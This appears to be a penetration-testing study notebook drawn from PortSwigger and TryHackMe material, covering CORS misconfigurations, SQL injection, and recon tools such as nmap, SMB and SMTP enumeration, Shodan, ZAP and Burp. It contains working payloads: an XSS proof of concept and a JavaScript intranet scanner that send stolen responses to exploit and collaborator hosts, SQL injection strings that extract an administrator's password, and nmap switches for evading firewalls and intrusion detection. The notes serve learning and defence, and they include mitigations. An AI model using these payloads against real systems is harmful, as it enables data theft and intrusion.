Access-Control-Allow-Credentials: true
```

Then an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve the API key, using a URL like:

```
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
```


# Breaking TLS with poorly configured CORS

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example, when the application receives the following request:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
```

The application responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
```

In this situation, an attacker who is in a position to intercept a victim user's traffic can exploit the CORS configuration to compromise the victim's interaction with the application. This attack involves the following steps:

* The victim user makes any plain HTTP request.
* The attacker injects a redirection to:

  ```
  http://trusted-subdomain.vulnerable-website.com
  ```
* The victim's browser follows the redirect.
* The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to:

  ```
  https://vulnerable-website.com
  ```
* The victim's browser makes the CORS request, including the origin:

  ```
  http://trusted-subdomain.vulnerable-website.com
  ```
* The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response.
* The attacker's spoofed page can read the sensitive data and transmit it to any domain under the attacker's control.

**This attack is effective even if the vulnerable website is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.**

***

#### Proof of Concept via XSS

```html
<script>
    document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
```


# Intranets and CORS without credentials

Most CORS attacks rely on the presence of the response header:

```
Access-Control-Allow-Credentials: true
```

Without that header, the victim user's browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content, which they could just as easily access by browsing directly to the target website.

However, there is one common situation where an attacker can't access a website directly: when it's part of an organization's intranet, and located within private IP address space. Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access. For example, a cross-origin request within a private network may be as follows:

```
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
```

And the server responds with:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
```

The application server is trusting resource requests from any origin without credentials. If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.

***

### Local Network Scanner

```javascript
<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>j
```


# Mitigations

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem. The following sections describe some effective defenses against CORS attacks.

### Proper configuration of cross-origin requests

If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.

### Only allow trusted sites

It may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.

### Avoid whitelisting null

Avoid using the header Access-Control-Allow-Origin: null. Cross-origin resource calls from internal documents and sandboxed requests can specify the null origin. CORS headers should be properly defined in respect of trusted origins for private and public servers.

### Avoid wildcards in internal networks

Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.

### CORS is not a substitute for server-side security policies

CORS defines browser behaviors and is never a replacement for server-side protection of sensitive data - an attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly configured CORS.


# Sql Injection

### [Port Swigger Sql Injection Cheet Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)


# Examining the database

### Querying the database type and version

The queries to determine the database version for some popular database types are as follows:

```sql
Database type	Query
Microsoft,MySQL	SELECT @@version
Oracle		SELECT * FROM v$version
PostgreSQL	SELECT version()
```

For example, you could use a UNION attack with the following input: `' UNION SELECT @@version--`

***

### Listing the contents of the database

Most database types (**with the notable exception of Oracle**) have a set of views called the information schema which provide information about the database.

You can query information\_schema.tables to list the tables in the database:

```sql
SELECT * FROM information_schema.tables
```

You can then query information\_schema.columns to list the columns in individual tables:

```sql
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

#### Equivalent to information schema on Oracle

On Oracle, you can obtain the same information with slightly different queries.

You can list tables by querying all\_tables:

```sql
SELECT * FROM all_tables
```

And you can list columns by querying all\_tab\_columns:

```sql
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
```

***


# Retrieving data from other database tables

### Determining the number of columns required in an SQL injection UNION attack

When performing an SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

#### Method 1

The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```

When the specified column index exceeds the number of actual columns in the result set, the database returns an error.

#### Method 2

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

If the number of nulls does not match the number of columns, the database returns an error

***

### Finding columns with a useful data type in an SQL injection UNION attack

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn.

```sql
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```

If the data type of a column is not compatible with string data, the injected query will cause a database error. If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

#### The dual table (Oracle)

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called dual which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual`

***

### Retrieving multiple values within a single column

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

```sql
' UNION SELECT username || '~' || password FROM users--
```

This uses the double-pipe sequence || which is a string concatenation operator on Oracle.

***


# Blind SQL injection

### Introduction

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as `UNION attacks`, are not effective because they rely on being able to see the results of the injected query within the application's responses.

***

### Exploiting blind SQL injection by triggering conditional responses

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

```sql
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. If it returns data (because a recognized TrackingId was submitted), then a "Welcome back" message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

```sql
…xyz' AND '1'='1
…xyz' AND '1'='2
```

The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the "Welcome back" message will be displayed.

Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the "Welcome back" message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.

#### SUBSTRING Function

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```

This does not return the "Welcome back" message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```

We can continue this process to systematically determine the full password for the Administrator user.

#### Confirm it table exists in the database

```sql
xyz' AND (select 'x' from users LIMIT 1) = 'x'--
```

#### Confirm if entry exists in the database

```sql
xyz' AND (select 'john' from users where username = 'john')='john'--
```

#### Check Length of password in the database

```sql
xyz' AND LENGTH((select password from users where username = 'john')) > 1--
```

***

### Inducing conditional responses by triggering SQL errors

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

```sql
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.

***


# Mitigation

Most instances of SQL injection can be prevented by using **parameterized queries** (also known as **prepared statements**) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

```sql
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
```

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

```sql
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can't be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.


# TryHackMe

All Learning Paths


# Main Methodology


# 1. Reconnaissance

Reconnaissance is all about collecting information about your target.

Generally speaking, reconnaissance usually involves no interaction with the target(s) or system(s).

There are some specialized tools that we can utilize but for this introduction, it is good to know the following tools.

* Google (specifically Google Dorking)
* Wikipedia
* PeopleFinder.com
* who.is
* sublist3r
  * Sublist3r is a fantastic python script that allows us to perform quick and easy recon against our target, discovering various subdomains associated with the websites/domains in scope.
* hunter.io
* builtwith.com
* wappalyzer


# Google Dorking

First of all - and the important part - it's legal! It's all indexed, publicly available information. However, what you do with this is where the question of legality comes in to play...

A few common terms we can search and combine include:

| Term     | Action                                                    |
| -------- | --------------------------------------------------------- |
| site     | Searches for content within specific website              |
| filetype | Search for a file by its extension (e.g. PDF)             |
| cache    | View Google's Cached version of a specified URL           |
| intitle  | The specified phrase MUST appear in the title of the page |


# Metadata Reader/Writer

### **ExifTool**

is a free and open-source software program for reading, writing, and manipulating **image, audio, video, and PDF** metadata.


# Steghide - Stegnography

### Introduction

Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files.

***

### Extract secret data from a stego file

```bash
steghide extract -sf picture.jpg
```

***


# OSINT Framework

It contains all the tools for reconnaissance.

[Link](https://osintframework.com)


# 2. Enumeration/Scanning

This is where a hacker will start interacting with (scanning and enumerating) the target to attempt to find vulnerabilities related to the target.

This is where more specialized tools start to come in to the arsenal. Tools like **nmap, dirb, metasploit, exploit-db, Burp Suite** and others are very useful to help us try to find vulnerabilities in a target.

In the scanning and enumeration phase, the attacker is interacting with the target to determine its overall attack surface.

The attack surface determines what the target might be vulnerable to in the Exploitation phase. These vulnerabilities might be a range of things: anything from a webpage not being properly locked down, a website leaking information, SQL Injection, Cross Site Scripting or any number of other vulnerabilities.

To simplify - the enumeration and scanning phase is where we will try to determine WHAT the target might be vulnerable to.


# NFS Enumeration Tools

### showmount

Lists the NFS shares for a particular IP Part of nfs-common tools

***


# NMAP - Port Scanning

nmap will connect to each port of the target in turn. Depending on how the port responds, it can be determined as being open, closed, or filtered (usually by a firewall). Once we know which ports are open, we can then look at enumerating which services are running on each port – either manually, or more commonly using nmap.

***

### **Switches**:

* Syn Scan : -sS
* Udp Scan : -sU
* OS Scan : -O
* Service Version Scan : -sV
* Increase Verbosity : -v
* Verbosity Level 2 : -vv
* Save Output in 3 Major Formats : -oA
* Scan all Ports : -p-

***

### **Scan Types**:

#### Basic Scans

* TCP Connect Scans (-sT)
* SYN "Half-open", "Stealth" Scans (-sS)
  * if we identify closed and filtered ports, the exact same rules as with a TCP Connect scan apply.
  * If a port is closed then the server responds with a RST TCP packet. If the port is filtered by a firewall then the TCP SYN packet is either dropped, or **spoofed** with a TCP reset.
* UDP Scans (-sU)
  * If a UDP port doesn't respond to an Nmap scan, it will be marked as open | filtered
  * If a UDP port is closed, icmp "Port Unreachable" message is sent back

#### Other Scans (stealthier)

* TCP Null Scans (-sN)
  * TCP request is sent with no flags set at all.
  * The target host should respond with a RST if the port is closed according to RFC.
* TCP FIN Scans (-sF)
  * a request is sent with the FIN flag (usually used to gracefully close an active connection)
  * expects a RST if the port is closed.
* TCP Xmas Scans (-sX)
  * send a malformed TCP packet.
  * expects a RST response for closed ports.
  * flags that it sets (PSH, URG and FIN) give it the appearance of a blinking christmas tree when viewed as a packet capture in Wireshark.
* The expected response for open ports with these scans is also identical, and is very similar to that of a UDP scan
  * If the port is open then there is no response to the malformed packet.
  * If a port is identified as filtered with one of these scans then it is usually because the target has responded with an ICMP unreachable packet.
  * In particular Microsoft Windows (and a lot of Cisco network devices) are known to respond with a RST to any malformed TCP packet -- regardless of whether the port is actually open or not. This results in all ports showing up as being closed.
* Many firewalls are configured to drop incoming TCP packets to blocked ports which have the SYN flag set (thus blocking new connection initiation requests).
* By sending requests which do not contain the SYN flag, we effectively bypass this kind of firewall.
* Most modern IDS solutions are savvy to these scan types, so don't rely on them to be 100% effective when dealing with modern systems.

#### ICMP Network Scanning

* we want to see which IP addresses contain active hosts, and which do not.
* ping sweep : -sn
* dont scan any ports -- forcing it to rely primarily on ICMP echo packets (or ARP requests on a local network, if run with sudo or directly as the root user) to identify targets.
* also cause nmap to send a TCP SYN packet to port 443 of the target, as well as a TCP ACK (or TCP SYN if not run as root) packet to port 80 of the target.

***

### **Scripting Engine**

* NSE Scripts are written in the Lua programming language
* do a variety of things: from scanning for vulnerabilities, to automating exploits for them.
* **Categories**
  * safe:- Won't affect the target
  * intrusive:- Not safe: likely to affect the target
  * vuln:- Scan for vulnerabilities
  * exploit:- Attempt to exploit a vulnerability
  * auth:- Attempt to bypass authentication for running services (e.g. Log into an FTP server anonymously)
  * brute:- Attempt to bruteforce credentials for running services
  * discovery:- Attempt to query running services for further information about the network (e.g. query an SNMP server).
  * [Others](https://nmap.org/book/nse-usage.html)
* Some scripts require arguments (for example, credentials, if they're exploiting an authenticated vulnerability). These can be given with the --script-args Nmap switch.
* Nmap scripts come with built-in help menus, which can be accessed using nmap --script-help "script-name"
* Nmap stores its scripts on Linux at /usr/share/nmap/scripts

#### Enumerating SMB Shares

`nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <IP>`

#### Enumerating Remote Procedure Call (RPC) NFS Shares

Port 111 runs the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve. If port 111 is access to a network file system. Nmap command to enumerate this: `nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <IP>`

***

### **Firewall Evasion**

* Your typical Windows host will, with its default firewall, block all ICMP packets
  * This means that Nmap will register a host with this firewall configuration as dead and not bother scanning it at all.
* -Pn tells Nmap to not bother pinging the host before scanning it.
  * If the host really is dead then Nmap will still be checking and double checking every specified port.
* It's worth noting that if you're already directly on the local network, Nmap can also use ARP requests to determine host activity.
* Switches for [firewall evasion](https://nmap.org/book/man-bypass-firewalls-ids.html)
* The following switches are of particular note:
  * -f:- Used to fragment the packets (i.e. split them into smaller pieces) making it less likely that the packets will be detected by a firewall or IDS.
  * An alternative to -f, but providing more control over the size of the packets: --mtu "number", accepts a maximum transmission unit size to use for the packets sent. This must be a multiple of 8.
  * \--scan-delay "time"ms :- used to add a delay between packets sent. This is very useful if the network is unstable, but also for evading any time-based firewall/IDS triggers which may be in place.
  * \--badsum :- this is used to generate in invalid checksum for packets. Any real TCP/IP stack would drop this packet, however, firewalls may potentially respond automatically, without bothering to check the checksum of the packet. As such, this switch can be used to determine the presence of a firewall/IDS.


# Web Enumeration Tools

### **Dirb**

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the response.

DIRB comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. Also DIRB sometimes can be used as a classic CGI scanner, but remember is a content scanner not a vulnerability scanner.

***

### **Gobuster**

it tries to find valid directories from a wordlist of possible directories. gobuster can also be used to valid subdomains using the same method.

***

### **Nikto**

It is commonly used to check for common CVE's such as shellshock, and to get general information about the web server that you're enumerating.

***

### **OWASP Zap Scanner**

OWASP ZAP (short for Zed Attack Proxy) is an open-source web application security scanner. When used as a proxy server it allows the user to manipulate all of the traffic that passes through it, including traffic using https.

***


# SMB Enumeration Tools

### Intro

SMB has two ports, 445 and 139.&#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FlVJVyB7xBfYMbfbqlqSz%2Fimage.png?alt=media&amp;token=ca2f8e57-c274-4794-9f23-b4ea8b2db77b" alt=""><figcaption></figcaption></figure>

***

### **smbmap**

is one of the best ways to enumerate samba. smbmap allows pen-testers to run commands(given proper permissions), download and upload files, and overall is just incredibly useful for smb enumeration.

***

### **smbclient**

allows you to do most of the things you can do with smbmap, and it also offers you and interactive prompt.

#### List Shares

`smbclient -L ip` It list all the samba shares on the network

***

### **impacket**

is a collection of extremely useful windows scripts. It is worth mentioning here, as it has many scripts available that use samba to enumerate and even gain shell access to windows machines. All scripts can be found (<https://github.com/SecureAuthCorp/impacket>) ; Note: impacket has scripts that use other protocols and services besides samba.

***

### **enum4linux**

Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB. The syntax of Enum4Linux is nice and simple: `enum4linux [options] ip`

***


# SMTP Enumeration Tools

### Enumerating Server Details

Poorly configured or vulnerable mail servers can often provide an initial foothold into a network, but prior to launching an attack, we want to fingerprint the server to make our targeting as precise as possible. We're going to use the "**smtp\_version**" module in MetaSploit to do this. As its name implies, it will scan a range of IP addresses and determine the version of any mail servers it encounters.

***

### Enumerating Users from SMTP

The SMTP service has two internal commands that allow the enumeration of users:

1. **VRFY** (confirming the names of valid users)
2. **EXPN** (which reveals the actual address of user’s aliases and lists of e-mail (mailing lists)

Using these SMTP commands, we can reveal a list of valid users. We can do this manually, over a telnet connection or metasploit module called "**smtp\_enum**". Using the module is a simple matter of feeding it a host or range of hosts to scan and a wordlist containing usernames to enumerate.

***

### smtp-user-enum

It is a non-metasploit tool work even better for enumerating OS-level user accounts on Solaris via the SMTP service. Enumeration is performed by inspecting the responses to VRFY, EXPN, and RCPT TO commands. It's an alternative that's worth keeping in mind if you're trying to distance yourself from using Metasploit e.g. in preparation for OSCP.

***


# Shodan - IOT Search Engine

### Introduction

Shodan.io is a search engine for the Internet of Things. Shodan scans the whole internet and indexes the services run on each IP address.

***

### **Finding services**

* We need to grab their IP address. We can do this using `ping`.
* We can ping website and the ping response will tell us their IP address.
* Then once we do this, we put the IP address into Shodan to get the services
* If services like Cloudflare acts as a proxy between website and their real servers, this isn’t helpful. We need some way to get their IP addresses.
* We can do this using Autonomous System Numbers.

***

### **Autonomous System Numbers**

* An autonomous system number (ASN) is a global identifier of a range of IP addresses.
* If you are an enormous company like Google you will likely have your own ASN for all of the IP addresses you own.
* We can put the IP address into an ASN lookup tools, Which tells us the ASN number.
* On Shodan.io, we can search using the ASN filter. The filter is `ASN:[number]`

***

### **Banners**

* To get the most out of Shodan, it’s important to understand the search query syntax.
* Devices run services, and Shodan stores information about them. The information is stored in a banner.
* An example banner looks like:
  * ```json
    {
    		"data": "Moxa Nport Device",
    		"Status": "Authentication disabled",
    		"Name": "NP5232I_4728",
    		"MAC": "00:90:e8:47:10:2d",
    		"ip_str": "46.252.132.235",
    		"port": 4800,
    		"org": "Starhub Mobile",
    		"location": {
    				"country_code": "SG"
    		}
     }
    ```

***

### **Filters**

* On the Shodan.io homepage, we can click on “explore” to view the most up voted search queries. The most popular one is webcams.
  * <https://www.shodan.io/explore>
* It is legal to view a publicly accessible webcam, it is illegal to try to break into a password protected one.
* we can actually combine 2 searches into 1 using multiple queries.

***

### **API**

* The API lets us programmatically search Shodan and receive a list of IP addresses in return. If we are a company, we can write a script to check over our IP addresses to see if any of them are vulnerable.

***

### **Shodan Monitor**

* Shodan Monitor is an application for monitoring your devices in your own network.
  * Keep track of the devices that you have exposed to the Internet. Setup notifications, launch scans and gain complete visibility into what you have connected.

***

### **Shodan Dorking**

* Shodan has some lovely webpages with Dorks that allow us to find things. Their search example webpages feature some.
* For instance
  * `has_screenshot:true encrypted attention`
  * Which uses optical character recognition and remote desktop to find machines compromised by ransomware on the internet.
  * Another command for getting labelled ss is `screenshot.label:ics`
* You can find more Shodan Dorks on GitHub.

***

### **Shodan Extension**

* Shodan also has an extension.
* When installed, you can click on it and it’ll tell you the IP address of the webserver running, what ports are open, where it’s based and if it has any security issues.
* this is a good extension for any people interested in bug bounties, being quickly able to tell if a system looks vulnerable or not based on the Shodan output.

***


# FTP Enumeration Tools

### Anonymous Login

To login anonymously, use username `anonymous` and password `password`

***


# Wordpress Enumeration Tools

### WPSCAN

WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues.

***


# OWASP ZAP - WebApp Testing

### **Introduction**

OWASP Zap (Zed Attack Proxy) is a security testing framework much like Burp Suite. It acts as a very robust enumeration tool. It’s used to test web applications.

#### Benifits

* It’s completely open source and free.
* **Automated Web Application Scan**: This will automatically passively and actively scan a web application, build a sitemap, and discover vulnerabilities. This is a paid feature in Burp.
* **Web Spidering**: You can passively build a website map with Spidering. This is a paid feature in Burp.
* **Unthrottled Intruder**: You can bruteforce login pages within OWASP as fast as your machine and the web-server can handle. This is a paid feature in Burp.
* **No need to forward individual requests through Burp**: When doing manual attacks, having to change windows to send a request through the browser, and then forward in burp, can be tedious. OWASP handles both and you can just browse the site and OWASP will intercept automatically. This is NOT a feature in Burp.

#### Features Translation from Burp Suite to OWASP ZAP

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2F4s0RjmfexCuegRi0Ardv%2Fimage.png?alt=media&amp;token=c2e3584f-fd5d-47fb-a5e7-6e90e22e0be9" alt=""><figcaption></figcaption></figure>

***

### **Automated Scan**

The automated scan performs both passive and automated scans to build a sitemap and detect vulnerabilities.

On the next page you may see the options to select either to use “traditional spider” or “Ajax spider”.

#### Traditional Spider

A traditional spider scan is a passive scan that enumerates links and directories of the website. It builds a website index without brute-forcing. This is much quieter than a brute-force attack and can still net a login page or other juicy details, but is not as comprehensive as a bruteforce.

#### Ajax Spider

The Ajax Spider is an add-on that integrates in ZAP a crawler of AJAX rich sites called Crawljax. You can use it in conjunction with the traditional spider for better results. It uses your web browser and proxy.

The easiest way to use the Ajax Spider is with **HTMLUnit**.

* To install HTML Unit use the command
  * `sudo apt install libjenkins-htmlunit-core-js-java`
* And then select `HtmlUnity` from the Ajax Spider Dropdown.

***

### **Manual Scanning**

Like Burp, you should set-up your proxy between OWASP ZAP and your Browser. We’ll be using Firefox.

#### Proxy Settings

Goto `Options -> Local Proxies`, Change Local Firefox Proxy settings to the above.

#### Add ZAP Certificated

Without importing ZAP Certificates, ZAP is unable to handle simultaneous Web request forwarding and intercepting. Goto `Options -> Dynamic SSL Certificates` and save the certificate which should later be imported into firefox.

***

### Scanning Authenticated Web Applications

Without your Zap application being authenticated, it can't scan pages that are only accessible when you've logged in.

We're going to pass our authentication token into ZAP so that we can use the tool to scan authenticated webpages.

In ZAP open the HTTP Sessions tab with the new tab button, and set the authenticated session as active.

Now re-scan the application. You’ll see it’s able to pick up a lot more.

***

### Brute-Force Directories

If the passive scans are not enough, you can use a wordlist attack and directory bruteforce through ZAP just as you would with gobuster. This would pick up pages that are not indexed.

1. First. Go into your `ZAP Options`, navigate to `Forced Browse`, and add the Custom Wordlist. You can also add more threads and turn off recursive brute-forcing.
2. Then, right click the `site->attack->forced browse site`
3. Select your imported wordlist from the list menu, and then hit the play button!

***

### Brute-Force Web Login

If you wanted to do this with BurpSuite, you'd need to intercept the request, and then pass it to Hydra. However, this process is much easier with ZAP!

1. Send Manual Login Request to the Website
2. Find the GET request and open the Fuzz menu.
3. Then highlight the password you attempted and add a wordlist. This selects the area of the request you wish to replace with other data.
4. After running the fuzzer, sort the state tab to show Reflected results first. Sometimes you will get false-positives, but you can ignore the passwords that are less than 8 characters in length.

***

### **ZAP Extensions**

Want to further enhance ZAPs capabilities? Look at some of it’s downloadable extensions! [Zap-Extensions](https://github.com/zaproxy/zap-extensions)

#### Bugcrowd HUNT

[Link](https://github.com/bugcrowd/HUNT) This will passively scan for known vulnerabilities in web applications.&#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FTHvMDY0zysmTVsbxvBLY%2Fimage.png?alt=media&amp;token=d960223d-af12-44d8-a44c-7e92e0344247" alt=""><figcaption></figcaption></figure>

***


# BurpSuite - WebApp Testing

### Intro

Burp Suite, a framework of web application pentesting tools, is widely regarded as the de facto tool to use when performing web app testing.

***

### Getting \[CA] Certified

Before we can start using our new installation (or preinstalled) Burp Suite, we'll have to fix a certificate warning. We need to install a CA certificate as BurpSuite acts as a proxy between your browser and sending it through the internet - **It allows the BurpSuite Application to read and send on HTTPS data (SSL)**.

#### Tutorial [FoxyProxy + Firefox](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/)

Add a new proxy with type HTTP, IP of LocalHost and Port 8080 from extension options. After setting up proxy, With Firefox, navigate to the following address: <http://localhost:8080> From there, you will be greeted with burp website, download the certificate from there and install in mozilla settings (accepting both identify website and identify user emails).

***

### Proxy

It allows us to funnel traffic through Burp Suite for further analysis

1. Requests will by default require our authorization to be sent.
2. We can modify our requests in-line similar to what you might see in a man-in-the-middle attack and then send them on.
3. We can also drop requests we don't want to be sent. This can be useful to see the request attempt after clicking a button or performing another action on the website.
4. And last but not least, we can send these requests to other tools such as Repeater and Intruder for modification and manipulation to induce vulnerabilities.

***

### Target

How we set the scope of our project. We can also use this to effectively create a site map of the application we are testing.

When starting a web application test you'll very likely be provided a few things:

* The application URL (hopefully for dev/test and not prod)
* A list of the different user roles within the application
* Various test accounts and associated credentials for those accounts
* A list of pieces/forms in the application which are out-of-scope for testing and should be avoided

From this information, we can now start to build our scope within Burp, Typically this is done in a tiered approach wherein we work our way up from the lowest privileged account (this includes unauthenticated access), browsing the site as a normal user would (happy path). Following the creation of a site map via browsing the happy path, we can go through and start removing various items from the scope. These items typically fit one of these criteria:

* The item (page, form, etc) has been designated as out of scope in the provided documentation from the client
* Automated exploitation of the item (especially in a credentialed manner) would cause a huge mess (like sending hundreds of password reset emails - If you've done a web app professionally you've probably done this at one point)
* Automated exploitation of the item (especially in a credentialed manner) would lead to damaging and potentially crashing the web app

***

### Intruder

Incredibly powerful tool for everything from field fuzzing to credential stuffing and more. At its core, Intruder serves one purpose: automation.

While Repeater best handles experimentation or one-off testing, Intruder is meant for repeat testing once a proof of concept has been established. Common uses are:

* Enumerating identifiers such as usernames, cycling through predictable session/password recovery tokens, and attempting simple password guessing
* Harvesting useful data from user profiles or other pages of interest via grepping our responses
* Fuzzing for vulnerabilities such as SQL injection, cross-site scripting (XSS), and file path traversal

To accomplish these various use cases, Intruder has **four** different attack types:

#### Sniper

The most popular attack type, this cycles through our selected positions, putting the **next available payload** (item from our wordlist) in **each position in turn**. This uses only **one set of payloads** (one wordlist).

#### Battering Ram

Similar to Sniper, Battering Ram uses only one set of payloads. Unlike Sniper, Battering Ram puts **every payload** into **every selected position**.

#### Pitchfork

